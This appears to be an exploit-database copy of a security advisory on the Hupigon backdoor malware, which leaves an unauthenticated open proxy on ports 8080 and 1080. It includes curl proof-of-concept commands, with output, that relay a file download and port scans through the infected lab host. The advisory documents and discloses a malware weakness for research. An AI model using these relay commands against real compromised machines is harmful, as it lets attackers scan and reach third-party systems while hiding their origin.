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Backdoor.Win32.Hupigon.fjcd / Unauthenticated Open Proxy

CVE Category Price Severity
N/A CWE-284 $5000 High
Author Risk Exploitation Type Date
Unknown High Remote 2021-09-27
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021090135

Below is a copy:

Backdoor.Win32.Hupigon.fjcd / Unauthenticated Open Proxy
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/284f36e35db6a0aa9a493f39d834367e.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hupigon.fjcd
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP ports 8080, 1080. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: 284f36e35db6a0aa9a493f39d834367e
Vuln ID: MVID-2021-0349
Dropped files: hao123.exe 
Disclosure: 09/25/2021

Exploit/PoC:
Download filez)

curl http://192.168.18.125:8080/DOOM.exe -H "Host: 192.168.18.128" --output DOOM.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 24576  100 24576    0     0  24576      0  0:00:01 --:--:--  0:00:01  258k

Scan ports)

curl http://192.168.18.125:8080 -H "Host: 192.168.18.128:21"
220 INetSim FTP Service ready.
500 Unknown command.


curl http://192.168.18.125:8080 -H "Host: 192.168.18.128:110"
+OK INetSim POP3 Server ready <23200.1632535913@pop3host>
-ERR Unknown command.


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